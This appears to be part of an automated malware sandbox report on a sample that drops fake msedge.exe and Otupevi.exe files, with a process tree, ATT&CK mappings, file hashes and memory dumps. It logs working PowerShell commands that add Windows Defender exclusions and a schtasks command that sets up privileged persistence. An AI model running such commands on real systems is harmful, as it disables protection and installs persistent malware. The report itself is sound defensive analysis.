"C:\Users\Admin\AppData\Local\Temp\msedge.exe"
4⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:348

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\Otupevi.exe'
4⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2664

C:\Users\Admin\AppData\Local\Temp\Otupevi.exe
"C:\Users\Admin\AppData\Local\Temp\Otupevi.exe"
4⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2456

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\msedge.exe'
3⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1640

C:\Users\Admin\AppData\Local\Temp\msedge.exe
"C:\Users\Admin\AppData\Local\Temp\msedge.exe"
3⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:1156

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\Otupevi.exe'
3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2044

C:\Users\Admin\AppData\Local\Temp\Otupevi.exe
"C:\Users\Admin\AppData\Local\Temp\Otupevi.exe"
3⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2928

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\msedge.exe'
2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2660

C:\Users\Admin\AppData\Local\Temp\msedge.exe
"C:\Users\Admin\AppData\Local\Temp\msedge.exe"
2⤵
- Drops startup file
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2552

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\msedge.exe'
3⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2388

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'msedge.exe'
3⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:560

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\msedge.exe'
3⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2260

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'msedge.exe'
3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1556

C:\Windows\System32\schtasks.exe
"C:\Windows\System32\schtasks.exe" /create /f /RL HIGHEST /sc minute /mo 1 /tn "msedge" /tr "C:\Users\Admin\msedge.exe"
3⤵
- Scheduled Task/Job: Scheduled Task
PID:2800

C:\Windows\System32\schtasks.exe
"C:\Windows\System32\schtasks.exe" /delete /f /tn "msedge"
3⤵
PID:2984

C:\Windows\system32\cmd.exe
cmd /c ""C:\Users\Admin\AppData\Local\Temp\tmpEC62.tmp.bat""
3⤵
PID:2968

C:\Windows\system32\timeout.exe
timeout 3
4⤵
- Delays execution with timeout.exe
PID:2924

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\Otupevi.exe'
2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2596

C:\Users\Admin\AppData\Local\Temp\Otupevi.exe
"C:\Users\Admin\AppData\Local\Temp\Otupevi.exe"
2⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1128

C:\Windows\system32\WerFault.exe
C:\Windows\system32\WerFault.exe -u -p 1128 -s 700
3⤵
PID:1736

C:\Windows\system32\taskeng.exe
taskeng.exe {8AD21434-5308-4E14-8F47-E4EF65578018} S-1-5-21-3063565911-2056067323-3330884624-1000:KHBTHJFA\Admin:Interactive:[1]
1⤵
PID:2520

C:\Users\Admin\msedge.exe
C:\Users\Admin\msedge.exe
2⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:2384

C:\Users\Admin\msedge.exe
C:\Users\Admin\msedge.exe
2⤵
- Executes dropped EXE
PID:2952

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Scheduled Task/Job

1

T1053

Scheduled Task

1

T1053.005

Persistence

Scheduled Task/Job

1

T1053

Scheduled Task

1

T1053.005

Privilege Escalation

Scheduled Task/Job

1

T1053

Scheduled Task

1

T1053.005

Defense Evasion

Credential Access

Credentials from Password Stores

1

T1555

Credentials from Web Browsers

1

T1555.003

Unsecured Credentials

3

T1552

Credentials In Files

3

T1552.001

Discovery

Query Registry

1

T1012

System Information Discovery

1

T1082

Lateral Movement

Collection

Data from Local System

2

T1005

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Temp\Otupevi.exe

Filesize
121KB

MD5
8ec6238ed8d4909bdde76b64fb9d1e7f

SHA1
5b8fcf12943eb425e47ba2e09a760a465fde9085

SHA256
cecbc104cfe47d1488d61b4e23b518476f194122539965c20309aa01067712b5

SHA512
75281075f3732c1ba70fc0a372facd8714d14bf4a7c7fbce16d3fb51fdcaf2fc5207a769ef109e836e2d4946b42a444f571cbc4349a6444b0f2387d028accebd

Download Submit
C:\Users\Admin\AppData\Local\Temp\msedge.exe

Filesize
64KB

MD5
2c3e1012f82fbe50509db62017302567

SHA1
0c3bcdf9a21e0a2505942cfd5f53279f89acb885

SHA256
8a59d37451b5a84dc78c9bef33a183128e48e02367b0ffa786965b41ca1f2237

SHA512
77d921b91a646e708555107705f32d55eedfb3b5298be889a7c0f0d9d02b6e3483de7ff147db4c71c571fe366224cdc5e98a89b14df831197d63d9a9a6bb1f43

Download Submit
C:\Users\Admin\AppData\Local\Temp\tmpEC62.tmp.bat

Filesize
158B

MD5
8786cc34233eb86306dde2e204801753

SHA1
effd6cf471c4a1d145e1e969d563ecff048928af

SHA256
d571500343113dbc314983854ad7f0f9a83ce7ccce421ea155d87016c0fd29c7

SHA512
780d7d03ab54614e6baa77aabb39ab2dbda4c35dfe65ee41147390e2edcc3561404a030ade40fb107a206954497fc853addafdb81591fdb1904361c4b33575af

Download Submit
C:\Users\Admin\AppData\Local\Temp\tmpF92E.tmp.bat

Filesize
158B

MD5
78db9226543bb179387dffcc820eff16

SHA1
4798949534f58468eb34cacda1543ed9e598cac7

SHA256
96332cb3779ac7f1c3a79f91228a8d2881f4300a55fa3848cd09ce3b20fd777b

SHA512
c01a266479e70cb00ed3c6d9f74cc4caba085844b804c7b44fe61c7f035336df5a2b8c4df3b846fe38c99dceaa85499e5d18899653ed2e15a4b138de365f94c4

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

Filesize
7KB

MD5
0965452e2f8867dfb52485b2b69af151

SHA1
40f4f34b4fb5e0cb144a9351c0717dcb3decf9e1

SHA256
c24df660b01c0b0b21c3ad2af694fabf9cb14bfcc892acacab582fd0d71d17f7

SHA512
1e2d59e1c1ce68160ae58e4b82f54661aac17a72d4500874dc466606b875c21b745010f17fc0f513c3fb0bd9af673a0df863d1bc72ea3f5e3a30f5d1e3ecf3c0

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

Filesize
7KB

MD5
7df03e2513ba7ea1269ef244364914db

SHA1
fbed6d71e9beae162d55ce57a2334f3276ebe3f4

SHA256
a9a96a0057390489addd4d1cefc9eeeb7b947122a294bb1f9744b87c8c6e21bd

SHA512
66b7c6ff29264439fecdcb182db1ea202756d5226fa7c2c894982ade2c4ae14a5db106846be66e4d0b8895d906c453cd2ec2065fc8bb89dc13a74afc08c7e41e

Download Submit
\??\PIPE\srvsvc

MD5
d41d8cd98f00b204e9800998ecf8427e

SHA1
da39a3ee5e6b4b0d3255bfef95601890afd80709

SHA256
e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855

SHA512
cf83e1357eefb8bdf1542850d66d8007d620e4050b5715dc83f4a921d36ce9ce47d0d13c5d85f2b0ff8318d2877eec2f63b931bd47417a81a538327af927da3e

Download Submit
memory/560-64-0x0000000002350000-0x0000000002358000-memory.dmp

Filesize
32KB

Download
memory/1128-33-0x0000000000020000-0x0000000000044000-memory.dmp

Filesize
144KB

Download
memory/2036-2-0x000007FEF5290000-0x000007FEF5C7C000-memory.dmp

Filesize
9.9MB

Download
memory/2036-0-0x000007FEF5293000-0x000007FEF5294000-memory.dmp

Filesize
4KB

Download
memory/2036-1-0x0000000000040000-0x0000000000064000-memory.dmp

Filesize
144KB

Download
memory/2036-34-0x000007FEF5290000-0x000007FEF5C7C000-memory.dmp

Filesize
9.9MB

Download
memory/2384-197-0x0000000000AE0000-0x0000000000AF6000-memory.dmp

Filesize
88KB

Download
memory/2388-58-0x0000000001F70000-0x0000000001F78000-memory.dmp

Filesize
32KB

Download
memory/2552-22-0x0000000000330000-0x0000000000346000-memory.dmp

Filesize
88KB

Download
memory/2552-214-0x000000001A6D0000-0x000000001A6DC000-memory.dmp

Filesize
48KB

Download
memory/2660-16-0x0000000002390000-0x0000000002398000-memory.dmp

Filesize
32KB

Download
memory/2660-15-0x000000001B780000-0x000000001BA62000-memory.dmp

Filesize
2.9MB

Download
memory/2744-9-0x00000000027E0000-0x00000000027E8000-memory.dmp

Filesize
32KB

Download
memory/2744-8-0x000000001B5F0000-0x000000001B8D2000-memory.dmp

Filesize
2.9MB

Download
memory/2744-7-0x0000000002B00000-0x0000000002B80000-memory.dmp

Filesize
512KB

Download
memory/2952-354-0x0000000000080000-0x0000000000096000-memory.dmp

Filesize
88KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads